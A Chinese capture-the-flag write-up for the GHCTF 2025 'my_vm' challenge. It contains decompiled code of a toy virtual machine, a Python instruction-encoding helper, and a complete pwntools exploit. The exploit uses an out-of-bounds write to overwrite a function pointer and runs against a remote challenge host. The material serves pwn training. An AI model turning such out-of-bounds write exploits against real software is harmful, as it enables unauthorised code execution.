vm_pwn入门 -- [GHCTF 2025]my_vm

先看基本逻辑

int __fastcall main(int argc, const char **argv, const char **envp)
{unsigned __int16 IP; // [rsp+Ch] [rbp-14h] BYREFunsigned __int16 SP; // [rsp+Eh] [rbp-12h] BYREFunsigned __int16 cmd_count; // [rsp+10h] [rbp-10h] BYREFunsigned __int16 i; // [rsp+12h] [rbp-Eh]unsigned int v8; // [rsp+14h] [rbp-Ch]unsigned __int64 v9; // [rsp+18h] [rbp-8h]v9 = __readfsqword(0x28u);funcptr = my_print;init(argc, argv, envp);write(1, "This is my vm.\n", 0xFuLL);printf("set your IP:");__isoc99_scanf("%hd", &IP);getchar();printf("set your SP:");__isoc99_scanf("%hd", &SP);getchar();vm_sp = SP;vm_ip = IP;if ( IP > 0x2000u || !SP ){puts("error!");exit(0);}printf("How much code do you want to execve:");__isoc99_scanf("%hd", &cmd_count);            // 你要执行多少指令getchar();for ( i = 0; i < cmd_count; ++i ){__isoc99_scanf("%d", 4LL * i + 0x6020E0);   // 0x6020E0 是memory的偏移,相当于写入指令getchar();                                  // 收/n}for ( i = 0; i < cmd_count; ++i ){v8 = ip_add();execute(v8);}funcptr();                                    // 目标是覆盖这里return 0;
}
__int64 __fastcall execute(unsigned int a1)
{__int64 v2_8; // raxunsigned __int8 v2; // [rsp+15h] [rbp-Bh]unsigned __int8 v3; // [rsp+16h] [rbp-Ah]unsigned __int8 v4; // [rsp+17h] [rbp-9h]unsigned int v5; // [rsp+18h] [rbp-8h]v5 = HIBYTE(a1);v2 = (a1 & 0xF0000) >> 16;v3 = (unsigned __int16)(a1 & 0xF00) >> 8;v4 = a1 & 0xF;                                // [//     ('v4',8),//     ('v3',8),//     ('v2',8),//     ('v5',8),// ]if ( v2 > 013u || v3 > 013u || v4 > 013u ){puts("out of index");exit(0);}v2_8 = v5;if ( v5 == 80 )                               // sub{v2_8 = v2;reg[v2] = reg[v3] - reg[v4];}else if ( v5 > 0x50 )                         // shr{if ( v5 == 112 ){v2_8 = v2;reg[v2] = reg[v3] >> reg[v4];}else if ( v5 > 0x70 ){if ( v5 == 128 )                          // shl{v2_8 = v2;reg[v2] = reg[v3] << reg[v4];}else if ( v5 == 144 )                     // mov []{v2_8 = reg[v2];memory[v2_8] = reg[v3];}}else if ( v5 == 96 )                        // xor{v2_8 = v2;reg[v2] = reg[v4] ^ reg[v3];}}else if ( v5 == 32 )                          // push{stack[vm_sp] = reg[v2];return (unsigned int)++vm_sp;}else if ( v5 > 0x20 )                         // pop{if ( v5 == 48 ){--vm_sp;v2_8 = v2;reg[v2] = stack[vm_sp];}else if ( v5 == 64 )                        // add{v2_8 = v2;reg[v2] = reg[v4] + reg[v3];}}else if ( v5 == 16 )                          // lea{v2_8 = v2;reg[v2] = (unsigned __int16)a1;}return v2_8;
}

我写了一个生成虚拟指令的小工具

class VmTools:"""将位向量补齐拼接为整数的工具,使用列表自动顺位填充,'unk' 字段自动填充为0。"""def __init__(self, vm_list, direction=1, endian='big'):"""记录给予的虚拟地址布局,例如:[('v1', 12),('unk', 4),('v2', 20)]'v1', 'v2' 是字段名称,'unk' 表示自动填充为0的字段,数字是其所占位长度。:param vm_list: 字段的有序列表,每个元素是一个元组 (字段名, 位长度):param direction: 拼接方向,1 表示从高位开始拼接,0 表示从低位开始:param endian: 字节序,'big' 或 'little'"""if not isinstance(vm_list, list):raise TypeError("vm_list 必须是一个列表类型")for item in vm_list:if not (isinstance(item, tuple) and len(item) == 2):raise ValueError("vm_list 中的每个元素必须是一个包含两个元素的元组 (字段名, 位长度)")name, length = itemif not isinstance(name, str):raise TypeError("字段名必须是字符串类型")if not isinstance(length, int) or length <= 0:raise ValueError("位长度必须是一个正整数")if direction not in (0, 1):raise ValueError("direction 参数必须是 0(从低位)或 1(从高位)")if endian not in ('big', 'little'):raise ValueError("endian 参数必须是 'big' 或 'little'")self.vm_list = vm_listself.endian = endianself.direction = direction@staticmethoddef signed_to_unsigned(signed_num, bit_width):"""转换负数为等效正数"""# 根据指定的位宽计算最大无符号数max_unsigned = (1 << bit_width) - 1# 如果有符号数是负数,使用与运算保留其补码形式unsigned_num = signed_num & max_unsignedreturn unsigned_numdef get(self, fill_values):"""根据数组创建拼接结果,方向和字节序可控,'unk' 字段自动填充为0。:param fill_values: 字段值的数组,顺序对应非 'unk' 字段:return: 拼接后的整数"""if not isinstance(fill_values, list):raise TypeError("fill_values 必须是一个列表类型")# 提取非 'unk' 字段的名称列表non_unk_names = [name for name, _ in self.vm_list if name != 'unk']if len(fill_values) != len(non_unk_names):raise ValueError(f"填充值的数量应为 {len(non_unk_names)},当前为 {len(fill_values)}")# 根据 direction 处理 vm_items 和 fill_valuesif self.direction == 0:vm_items = list(reversed(self.vm_list))fill_values = list(reversed(fill_values))non_unk_names = list(reversed(non_unk_names))else:vm_items = self.vm_list# 将非 'unk' 字段名和填充值对应起来value_dict = dict(zip(non_unk_names, fill_values))result = 0total_bits = 0for name, length in vm_items:if name == 'unk':value = 0else:value = value_dict[name]if value < 0: # 处理负数self.signed_to_unsigned(value, length)max_value = (1 << length) - 1if not isinstance(value, int) or value < 0:raise ValueError(f"字段 '{name}' 的值必须是非负整数")if value > max_value:raise ValueError(f"字段 '{name}' 的值 {value} 超出了 {length} 位的范围 (最大值 {max_value})")result = (result << length) | valuetotal_bits += length# 处理字节序byte_length = (total_bits + 7) // 8  # 向上取整到字节result_bytes = result.to_bytes(byte_length, byteorder='big')if self.endian == 'little':# 如果是小端序,需要反转字节序result_bytes = result_bytes[::-1]final_result = int.from_bytes(result_bytes, byteorder='big')else:final_result = resultreturn final_result

用它可以生成虚拟指令

vm = VmTools([('v5', 8),('v2', 8),('v3',8),('v4',8),
], direction=0, endian='little')pay = []
pay.append(vm.get([1,2,3,4]))
print(pay)

我们的目标是越界写入

      else if ( v5 == 144 )                     // mov []{v2_8 = reg[v2];memory[v2_8] = reg[v3];}
.bss:00000000006020C0 ; __int64 (*funcptr)(void)
.bss:00000000006020C0 funcptr         dq ?                    ; DATA XREF: main+17↑w
.bss:00000000006020C0                                         ; main+177↑r
.bss:00000000006020C8                 align 20h
.bss:00000000006020E0                 public memory
.bss:00000000006020E0 ; int memory[65536]
.bss:00000000006020E0 memory          dd ?                    ; DATA XREF: ip_add+C↑r
.bss:00000000006020E0                                         ; execute+25A↑w

exp

from pwn import *
from codes.FastPwn import *
from codes.vm_tool import *
context.arch = 'amd64'
io = FastPwn(1)# io.gdb_b(0x401077);io.gdb_run()
io.remote('node1.anna.nssctf.cn:28996')
vm = VmTools([('v5', 8),('v2', 8),('v3',8),('v4',8),
], direction=0, endian='little')io.sl(b'0')
io.sl(b'1')
io.sl(b'13')pay = []
pay.append(vm.get([16,0,0,8])) # reg[0] = 8
pay.append(vm.get([80,1,1,0])) # reg[1] = reg[1] - reg[0] = -8  <-------------
pay.append(vm.get([16,2,0,4])) # reg[2] = 4
pay.append(vm.get([16,3,0,20])) # reg[3] = 20
pay.append(vm.get([128,2,2,3])) # reg[2] = reg[2] << reg[3] = 0x400000 <--------
pay.append(vm.get([128,0,0,0])) # reg[0] = reg[0] << reg[0] = 0x800
pay.append(vm.get([64,2,2,0])) # reg[2] = reg[2] + reg[0] = 0x400800 <-----------
pay.append(vm.get([16,0,0,7])) # reg[0] = 7
pay.append(vm.get([64,2,2,0])) # reg[2] = reg[2] + reg[0] = 0x400807 <-----------
pay.append(vm.get([16,3,0,4])) # reg[3] = 4
pay.append(vm.get([128,0,0,3])) # reg[0] = reg[0] << reg[3] = 0x70
pay.append(vm.get([64,2,2,0])) # reg[2] = reg[2] + reg[0] = 0x400877 <-----------
pay.append(vm.get([144,1,2,0])) # memory[-8] = reg[2]for cmd in pay:io.sl(str(cmd))io.ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/72944.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CA 机构如何防止中间人攻击

在现代互联网中&#xff0c;中间人攻击&#xff08;Man-in-the-Middle Attack&#xff0c;简称 MITM&#xff09;是一种常见的网络攻击方式&#xff0c;攻击者通过拦截和篡改通信双方的信息&#xff0c;进而窃取敏感数据或执行恶意操作。为了防止中间人攻击&#xff0c;证书颁发…

Elasticsearch快速上手与深度进阶:一站式实战教程

目录 1. Elasticsearch 简介 2. 安装与启动 方式 1&#xff1a;Docker 快速安装&#xff08;推荐&#xff09; 方式 2&#xff1a;手动安装 3. 基础操作 3.1 创建索引 3.2 插入文档 3.3 查询文档 3.4 更新文档 3.5 删除文档 4. 高级查询 4.1 布尔查询 4.2 范围查询…

闻所闻尽:穿透声音的寂静,照见生命的本真

在《楞严经》的梵音缭绕中&#xff0c;"闻所闻尽"四个字如晨钟暮鼓&#xff0c;叩击着每个修行者的心门。这个源自观世音菩萨耳根圆通法门的核心概念&#xff0c;既是佛门修行的次第指引&#xff0c;更蕴含着东方哲学对生命本质的终极叩问。当我们穿越时空的帷幕&…

回溯法经典练习:组合总和的深度解析与实战

回溯法经典练习&#xff1a;组合总和的深度解析与实战 引言 在算法世界里&#xff0c;回溯法&#xff08;Backtracking&#xff09;是解决 组合、排列、子集 等问题的神器。而 “组合总和”&#xff08;Combination Sum&#xff09; 问题&#xff0c;更是回溯算法中的经典代表…

传感器研习社:Swift Navigation与意法半导体(STMicroelectronics)合作 共同推出端到端GNSS汽车自动驾驶解决方案

自动驾驶系统单纯依赖感知传感器进行定位在遇到恶劣天气或缺乏车道标线的道路场景时很容易失效。此外&#xff0c;由于激光雷达&#xff08;LiDAR&#xff09;、视觉等传感器的成本高昂以及将众多不同组件整合为统一系统的复杂性&#xff0c;都可能增加产品研发成本或延迟产品上…

【人工智能】Ollama 的 API 操作指南:打造个性化大模型服务

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 随着人工智能技术的飞速发展,大型语言模型(LLM)在自然语言处理领域的应用日益广泛。然而,传统的云端模型服务往往面临数据隐私、成本高…

Linux关机重启二三事

、、 1概述 故障是高可用组最常接触的场景&#xff0c;其中包含了进程故障&#xff0c;网络故障、系统故障&#xff0c;硬件故障。掉电、关机和重启作为其中最常见的系统故障&#xff0c;具体的细节还是有些许差异的。本文将从操作系统与主板的行为讲解三者之间的联系与区别。…

算法1--两束求和

题目描述 解题思路 先说一种很容易想到的暴力解法 暴力解法的思路很简单&#xff0c;就是遍历数组&#xff0c;对于每一个元素&#xff0c;都去遍历数组中剩下的元素&#xff0c;判断是否有两个元素的和等于目标值&#xff0c;如果有&#xff0c;就返回这两个元素的下标。 c…

在Fedora-Workstation-Live-x86_64-41-1.4中使用最新版本firefox和腾讯翻译插件让英文网页显示中文翻译

在Fedora-Workstation-Live-x86_64-41-1.4中使用最新版本firefox和腾讯翻译插件让英文网页显示中文翻译 应用——系统工具——终端 suozhangfedora:~$ rpm -aq | grep firefox firefox-131.0.2-1.fc41.x86_64 firefox-langpacks-131.0.2-1.fc41.x86_64 fedora41系统自身安装有f…

android 接入google 登录

在 Android 应用中接入 Google 登录功能,可让用户使用他们的 Google 账号快速登录应用。以下是详细的接入步骤和示例代码: 步骤 1:创建 Google API 项目 访问 Google API 控制台,并使用你的 Google 账号登录。点击 “选择项目”,然后点击 “新建项目”,按照提示填写项目…

Redis缓存与数据库 数据一致性保障

为什么要保证数据一致性 只要使用redis做缓存&#xff0c;就必然存在缓存和DB数据一致性问题。若数据不一致&#xff0c;则业务应用从缓存读取的数据就不是最新数据&#xff0c;可能导致严重错误。比如将商品的库存缓存在Redis&#xff0c;若库存数量不对&#xff0c;则下单时…

19.哈希表的实现

1.哈希的概念 哈希(hash)⼜称散列&#xff0c;是⼀种组织数据的⽅式。从译名来看&#xff0c;有散乱排列的意思。本质就是通过哈希函数把关键字Key跟存储位置建⽴⼀个映射关系&#xff0c;查找时通过这个哈希函数计算出Key存储的位置&#xff0c;进⾏快速查找。 1.2.直接定址法…

IoTDB TTL不生效

问题 时序数据库 IoTDB 1.3.0 版本数据库的 TTL 设置为两天&#xff0c;show databases details 看到设置也是正确的&#xff0c;怎么还是可以查到好几天前的数据&#xff1f;因为有很多不活跃的测点&#xff0c;所以专门设置了两天过期&#xff0c;有什么办法可以自动清理呢&…

【C++基础】Lambda 函数 基础知识讲解学习及难点解析

一、引入 在 C 中&#xff0c;我们通常使用函数来完成特定的功能。但有时候&#xff0c;我们需要在一个函数内部定义一个小型的功能块&#xff0c;这时如果单独写一个函数会显得繁琐。C11 引入了 Lambda 函数&#xff0c;它是一种匿名函数&#xff0c;可以在需要的地方直接定义…

OpenCV 基础模块 Python 版

OpenCV 基础模块权威指南&#xff08;Python 版&#xff09; 一、模块全景图 plaintext OpenCV 架构 (v4.x) ├─ 核心层 │ ├─ core&#xff1a;基础数据结构与操作&#xff08;Mat/Scalar/Point&#xff09; │ └─ imgproc&#xff1a;图像处理流水线&#xff08;滤…

iStoreOS软路由对硬盘格式化分区(转化ext4)

一、为什么要格式化分区&#xff1f; 格式化硬盘分区是软路由安装或配置过程中的重要步骤&#xff0c;主要用于清除旧数据、优化文件系统、确保系统稳定性和兼容性。 二、通过iStoreOS硬盘格式化步骤 使用场景&#xff1a;Docker迁移到外置移动硬盘为例&#xff0c;考虑兼容现…

打造用户认证系统,构筑信息安全防线

在当今的数字化时代&#xff0c;信息安全和用户隐私保护变得越来越重要。用户身份认证是确保信息安全的第一道防线。通过验证用户身份&#xff0c;可以防止未经授权的访问和数据泄露。它有助于保护用户的个人信息、账户资金和其他敏感数据。此外&#xff0c;用户身份认证还可以…

北京南文观点:品牌如何抢占AI 认知的 “黄金节点“

在算法主导的信息洪流中&#xff0c;品牌正在经历一场隐蔽的认知权争夺战&#xff0c;当用户向ChatGPT咨询"哪家新能源车企技术最可靠"时&#xff0c;AI调取的知识图谱数据源将直接决定品牌认知排序。南文乐园科技文化&#xff08;北京&#xff09;有限公司&#xff…

音视频系列——Websockets接口封装为Http接口

模型服务示例&#xff1a;实时语音转文本服务 本示例展示一个支持双协议&#xff08;WebSocket流式接口HTTP同步接口&#xff09;的语音转文本模型服务&#xff0c;并提供将WebSocket接口封装为HTTP接口的代码实现。 一、服务架构设计 #mermaid-svg-nw0dMZ4uKfS4vGZR {font-fa…

Axure项目实战:智慧城市APP(一)(动态面板、拖动效果)

亲爱的小伙伴&#xff0c;在您浏览之前&#xff0c;烦请关注一下&#xff0c;在此深表感谢&#xff01; 课程主题&#xff1a;智慧城市APP便民服务平台 主要内容&#xff1a;完整智慧APP原型设计 应用场景&#xff1a;各类政务型、B端APP均可参考 案例展示&#xff1a;&…